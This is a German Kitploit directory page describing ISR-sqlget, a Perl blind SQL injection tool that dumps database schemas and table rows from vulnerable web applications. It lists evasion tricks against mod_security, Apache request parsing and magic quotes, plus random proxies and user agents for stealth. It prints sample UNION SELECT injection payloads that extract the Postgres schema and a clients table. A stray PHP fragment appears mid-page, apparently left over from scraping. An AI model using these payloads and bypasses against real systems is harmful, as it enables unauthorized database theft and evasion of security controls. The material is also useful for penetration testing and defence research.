Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
isr-sqlget — ISR-sqlget Es ist ein Blind-SQL-Injection-Tool, das in Perl entwickelt wurde. | Kitploit
Tools/GitHubGitHub/infobyte/isr-sqlget
SchwachstellenanalyseWebanwendungs-ExploitationPenetrationstestsDatenbanksicherheit
GitHubinfobyte/isr-sqlget

isr-sqlget

ISR-sqlget Es ist ein Blind-SQL-Injection-Tool, das in Perl entwickelt wurde.

Repository anzeigen
14141vor 13 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

-- ISR - Infobyte Security Research -- | ISR-sqlget | www.infobytesec.com |

..:: BESCHREIBUNG

ISR-sqlget: Es ist ein Tool für blinde SQL-Injektion, entwickelt in Perl. Es ermöglicht das Abrufen von Datenbankschemata und Tabellenzeilen. Mit einem einzelnen GET/POST können Sie die Datenbankstruktur unbemerkt auslesen, und mit einem einzelnen GET/POST können Sie jede Tabellenzeile in eine CSV-ähnliche Datei exportieren.

Unterstützte Datenbanken:

root@kitploit:~
- IBM DB2
- Microsoft SQL Server
- Oracle
- Postgres
- Mysql
- IBM Informix
- Sybase
- Hsqldb (www.hsqldb.org)
- Mimer (www.mimer.com)
- Pervasive (www.pervasive.com)
- Virtuoso (virtuoso.openlinksw.com)
- SQLite
- Interbase/Yaffil/Firebird (Borland)
- H2 (http://www.h2database.com)
- Mckoi (http://mckoi.com/database/)
- Ingres (http://www.ingres.com)
- MonetDB (http://www.monetdb.nl)
- MaxDB (www.mysql.com/products/maxdb/)
- ThinkSQL (http://www.thinksql.co.uk/)    
- SQLBase (http://www.unify.com)

Umgehungsfunktionen:

root@kitploit:~
- Unicode-Kodierung mit voller/halber Breite
- Apache-Bypass mit nicht standardkonformem CR
- mod_security-Bypass
- Transformation von Anfragen mit zufälliger Großschreibung
- PHP Magicquotes: Kodierung jedes Strings mithilfe der DB-CHR-Funktion oder Ähnlichem.
- Konvertierung von Anfragen in hexadezimale Werte
- Vermeidung der Nicht-Leerzeichen-Ersetzung durch /**/ oder Tabulator (\t)
- Vermeidung von Verkettungen ohne || oder + mithilfe der DB-CONCAT-Funktion oder Ähnlichem.
- Zufälliger User-Agent
- Zufälliger Proxy-Server
- Zufällige Verzögerung von Anfragen
"; while ($tr = $database->fetch_row()) { print ""; print $tr['name']; print ""; } print ""; ?>

Allgemeine Funktionen:

root@kitploit:~
- Blacklist für den Download von Datenbankschemata
- Unterstützung für Cookie-Arrays
- SSL-Unterstützung
- Unterstützung für Proxy-Server
- Datenbankinformationen werden im CSV-Format ausgegeben

Berichterstattung:

root@kitploit:~
- Graphische Darstellung der Datenbankstruktur zur Erstellung wirkungsvoller Management-Berichte; erfordert die Graphviz-Bibliothek (http://www.graphviz.org/)

..:: VERWENDUNG

Das Tool benötigt die folgenden Informationen:

  • : Aktion, die ausgeführt werden soll?
  • : Wo?

Die möglichen AKTIONEN sind:

root@kitploit:~
Zuerst:
1. Datenbankschema abrufen.

Danach:
2.a Tabellenzeilen abrufen (CSV-Format).
2.b Grafik des Datenbankschemas abrufen.

..::Beispiel:

Ziel: http://target.infobytesec.com/helloworld.php?id=

Quellcode von helloworld.php:

Sitzungsbeispiel (Konfigurationsdatei) lesen: ./helloworld.pm

Datenbankschema abrufen:

; bash# ./ISR-sqlget.pl -s -n helloworld ; -------------------------------------------------- ; Action: Get dbschema, Session name: helloworld ; -------------------------------------------------- ; ; http://target.infobytesec.com/helloworld.php?id=,id=1 union select 1,COALESCE((select nspname from pg_namespace ; where a.relnamespace =pg_namespace.oid),'0'::text)||'[]'||COALESCE(relname,'0'::text)||'[]'||COALESCE(attname,'0'::text); ; ||'[__]'||COALESCE((select typname from pg_type where oid=b.atttypid),'0'::text) from (pg_attribute b JOIN pg_class a ON ; (a.oid = b.attrelid)) where (attnum > 0 and ((a.relkind = 'r'::"char") OR (a.relkind = 's'::"char"))) --' ; from sqlite_master where type='table' --,GET ; ; bash#

Dies erzeugt eine lokale Schema-Datei in: ./template/helloworld.dbschema

Danach die Tabellenzeilen abrufen:

; bash# ./ISR-sqlget.pl -d -n helloworld ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld ;-------------------------------------------------- ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld, DbSchema: helloworld.dbschema ;-------------------------------------------------- ;------------------------------------------------------------------------------------------------------------------------------------------------------ ;http://target.infobyte.com.ar/helloworld.php?id=,id=1 union all select id||'[]'||name||'[]'||address from ;company.clients --,GET ;Save source table: ./datos/helloworld.company.clients.sql.html ;Save csv table: ./datos/helloworld.company.clients.csv ;------------------------------------------------------------------------------------------------------------------------------ ;.....

Im Verzeichnis "./datos/" finden Sie für jede Tabelle zwei Dateien wie folgt:

[sessionname].[database].[table].sql.html # html source [sessionname].[database].[table].csv # commad separated values

Beachten Sie, dass "./datos" mit dem Parameter $conf::outputdb in der Sitzungskonfigurationsdatei angegeben werden kann.

..:: Erweitert

Das Tool verwendet in der SELECT-SQL-Abfrage nur einen Spaltentyp text/varchar/ähnlich. Mit UNION-Anweisungen können Sie „in dieser Spalte“ das gesamte Datenbankschema abrufen, wobei „[__]“ als Trennzeichen dient.

Wenn Sie das lokale Datenbankschema bereits gespeichert haben, können Sie:

1.a Die Tabellenzeilen abrufen: Mit derselben Technik können Sie alle Zeilen jeder Tabelle in der Datenbank abrufen. Spaltentypen, die nicht mit text kompatibel sind, werden mithilfe eigener Datenbankfunktionen in den Datentyp text umgewandelt.

1.b Das grafische Datenbankschema abrufen.

Details zur Hilfe:

Usage: ./ISR-sqlget.pl [ACTION] [OPTIONS]

Action: -c: Check parser module -t: Get test page -a: Get all database names (only mssql) -s: Get database/s structure/s -d: Get database/s information/s (csv format) -g: Graphic structure of database (gif format)

Options: -n: Session name -p: (Use with -c action, specify src page to check the module); Default ./template/$SESSION.testpage -v: Verbose -h: Help

-t: Mit der Sitzungsdatei erhalten Sie eine kurze Datensystemtabelle, die mit der Aktion "-c" verwendet wird, um das rohe HTML später zu parsen.

-c: Standardmäßig wird ./template/[session-name].testpage verwendet. Es dient zum Entwickeln und Testen des Parsers für rohes HTML. Sie können mit der Option "-p" eine andere HTML-Datei auswählen.

-a: Alle DB-Engines verwenden die folgende Reihenfolge, um die Tabellenzeilen abzurufen: 1. "-s" Struktur abrufen (speichert das Datenbankschema in einer lokalen Datei). 2. "-d" Tabellendaten abrufen.

root@kitploit:~
Aufgrund der MSSQL-Systemtabellen müssen wir einen vorherigen Schritt hinzufügen:
1. "-a" Alle Datenbanknamen von /schema/catalog abrufen (speichert die Namen in einer lokalen Datei).
2. "-s" Struktur abrufen (speichert das Datenbankschema in einer lokalen Datei).
3. "-d" Tabellendaten abrufen.

-s: Struktur abrufen (speichert das Datenbankschema in einer lokalen Datei). -d: Tabellendaten abrufen.

-g: Verwendet die zuvor erhaltene lokale Datenbankschema-Datei, um das grafische Datenbankschema (GIF-Format) zu erhalten.

-n: Gibt den Namen der Sitzungskonfigurationsdatei an.

..:: Hinweise

./pmschanges.txt: Wir verwenden eine modifizierte Version von LWP, Net::HTTP, die Methoden und CRL-Spezifikationen enthält. Diese Datei erklärt die Änderungen.

./dbs/isr_*: Jedes Datenbankmodul enthält die Variable @space, die den Typ des gültigen Leerzeichens angibt. Beispiel: my @space=(' ',"\t","/**/"); #all spaces

..:: Optionen der Sitzungsdatei:

@conf::path #Der Parameter @conf::path legt fest, wie das rohe HTML geparst wird, um mit dem Tool zu arbeiten. #Es verwendet eingebetteten Perl-Code mit HTML::TreeBuilder, um das rohe HTML zu parsen. #Die erste Konfiguration ist ein Baum-Array mit den benötigten HTML-Tag-Namen. Der letzte HTML-Tag-Name wird mit dem Perl-Code verarbeitet.

Siehe Beispiele in ./examples/ example[n].html session[n].pm

$conf::site #Website, auf der die verwundbare Anwendung läuft

$conf::script #Verwundbare Skriptdatei

$conf::method #Methode 'POST', 'GET', 'HELLO', '\r\n\r\n\r\n\r\n\r\n' (Apache-Methoden-Bypass)

$conf::inj #POST/GET-Parameter mit den UNION-Anweisungen #Es werden Variablen verwendet, die später durch die dynamischen Informationen ersetzt werden.

root@kitploit:~
Variablen:
<VALUE> = Spalte, die zum Abrufen aller Informationen verwendet wird.
<TABLE> = Tabellenabschnitt.
<WHERE> = Where-Abschnitt.
<TAIL>  = Der letzte Teil des SQL-Satzes.

Beispiel: "id=1') union select <VALUE>,'a' from <TABLE> <WHERE> <TAIL> --";

$conf::where #Wenn Sie eine Ausnahme in der UNION-Tabelle hinzufügen müssen, verwenden Sie diesen Parameter, #weil einige Datenbankstrukturabfragen "WHERE" enthalten.

$conf::tail #Der letzte Teil des SQL-Satzes. $conf::param #Parameterstil = Post-Stil 1, URL-Stil 0 Post-Stil: ;root@isr-slackware:~/dev# telnet localhost 80 ;Trying 127.0.0.1... ;Connected to localhost. ;Escape character is '^]'. ;GET http://site/aaa.php HTTP/1.0 ;id=aaa

root@kitploit:~
URL-Stil:
;root@isr-slackware:~/dev# telnet localhost 80
;Trying 127.0.0.1...
;Connected to localhost.
;Escape character is '^]'.
;GET http://site/aaa.php?id=aaa HTTP/1.0

$conf::dbtype #Datenbank-Backend

root@kitploit:~
1 - Oracle
2 - Microsoft SQL Server
3 - Mysql    
4 - Postgres
5 - IBM DB2
6 - Interbase/Yaffil/Firebird (Borland)    
7 - Mimer (www.mimer.com)    
8 - Virtuoso (virtuoso.openlinksw.com)
9 - Pervasive (www.pervasive.com)    
10 - Hsqldb (www.hsqldb.org)    
11 - SQLite    
12 - IBM Informix
13 - Sybase
14 - H2 (http://www.h2database.com)
15 - Mckoi (http://mckoi.com/database/)
16 - Ingres (http://www.ingres.com)
17 - MonetDB (http://www.monetdb.nl)
18 - MaxDB (www.mysql.com/products/maxdb/)
19 - ThinkSQL (http://www.thinksql.co.uk/)    
20 - SQLBase (http://www.unify.com)

$conf::session #Sitzungsname (Sie müssen denselben Namen wie die Sitzungskonfigurationsdatei ohne .pm-Erweiterung verwenden) $conf::outputdb #Der Pfad der exportierten Tabellenzeilen

######### proxy $conf::proxy_host #Proxy-Unterstützung, Beispiel: 'http://user:pass@host:port/'; $conf::rproxy #Zufälliger Proxy: 1 aktivieren, 0 deaktivieren $conf::rproxyfile #Zufällige Proxy-Datei (Verwenden Sie dasselbe Format wie $conf::proxy_host)

######### Filter $conf::space #Leerzeichen vermeiden: 0 Leerzeichen aktivieren oder 1 Leerzeichen ' ' durch Tabulator '\t' ersetzen oder #2 Leerzeichen ' ' durch Kommentar '/**/' ersetzen

$conf::apache_espace #Sie können den CRs-Wert in der HTTP/s-Anfrage angeben

#Beispiel:

Gültige Apache-CRs (\x0b, \x0c, \x0d,)

$conf::apache_espace="\x0b,\x0c"; #Anfang=\x0b und Ende=\x0c

Verarbeitet GET/POST/XXX-HTTP-Anfrage als "GET\x0b/script.php\x0cHTTP/1.0"

$conf::apache_espace_rnd=1; #zufällige Kombination von CRs 0x0b, 0x0c, 0x0d $conf::apache_espace_rmaxn=10; #Maximale zufällige Anzahl von Zeichen #In diesem Beispiel randomisieren wir die CRs (0x0b, 0x0c, 0x0d) von 1 bis 10: #Referenz: http://www.osvdb.org/25837

$conf::mod_security #1 aktiviert den Bypass für modsecurity <= 2.1.0 & (=>PHP 5.2.0||PERL||Python) #Referenz: http://www.php-security.org/MOPB/BONUS-12-2007.html

$conf::full_width #1 aktiviert den Bypass für Full-Width-Kodierung $conf::ruseragent #1 aktiviert die Verwendung eines zufälligen User-Agents $conf::ruseragentfile #Dateiliste der User-Agents $conf::uagent #Standard-User-Agent $conf::delay #Verzögerung zwischen Verbindungen $conf::rdelay #1 aktiviert zufällige maximale Verzögerung zwischen Verbindungen; $conf:delay als Maximalwert verwenden. $conf::magicquotes #1 aktiviert die Vermeidung von Magicquotes (CHR-Funktion oder Ähnliches in jeder Datenbank verwenden) $conf::convertall_hex #1 wandelt jeden Parameterwert in das Hex-Format um (%41,%61) $conf::rnd_uppercase #1 aktiviert zufällige Großschreibungstransformation.

######## Filter nur für MSSQL $conf::scape_plas #1 aktivieren, CONCAT-Funktion verwenden, falls das Skript '+' nicht empfangen kann #(wird als String-Verkettung verwendet) $conf::convertall_str #1 aktiviert die Konvertierung aller Spalten in Strings (empfohlen) $conf::scape_output_less #1 aktivieren. Falls das Skript '|' nicht senden kann, Datenbankfunktion zum Ersetzen verwenden

######## Filter nur für Oracle/DB2/Virtuoso/H2/Mckoi/Ingres/MonetDB/MaxDB/ThinkSQL $conf::scape_pipe #CONCAT-Funktion oder Ähnliches verwenden, falls das Skript '|' nicht empfangen kann (wird als String-Verkettung verwendet)

Hash-Abruf verweigern

$conf::deny_dbname #Array mit den Datenbanknamen, die nicht verarbeitet werden sollen (Blacklist) Beispielwert = {'WMSYS' => 1, 'SYS' => 1 };

#Cookie $conf::cookie #1 aktiviert Cookie-Array-Unterstützung @conf::cookies #Array mit den zu verwendenden Cookies Beispielwert = ( { version=>undef, key=>'valu1', val=>'password', path=>'', domain=>'', port=>undef, path_spec=>undef, secure=>undef, maxage=>undef, discard=>undef, rest=>undef });

#Grafikoptionen (Weitere Informationen finden Sie in der GraphViz-Perl-Modulhilfe) $conf::graphdir = './graph/'; #Das Zielverzeichnis für Grafikdateien $conf::glayout = 'dot'; $conf::grootcolor='crimson'; $conf::gdbcolor='darkgreen'; $conf::gtablecolor='olivedrab1'; $conf::gcolumncolor='lightblue2'; $conf::gcolumn=0; #0= Spalte nicht grafisch darstellen, 1= Spalten grafisch darstellen

..:: ANFORDERUNGEN

1 - Perl-Module: LWP::UserAgent HTTP::Cookies; Convert::EastAsianWidth Data::Dump GraphViz

2 - Bibliotheken GraphViz-Projekt (http://www.graphviz.org/)

..:: DOWNLOAD

http://www.infobytesec.com/development.html

..:: AUTOR

Francisco Amato famato+at+infobytesec+dot+com

Tool herunterladen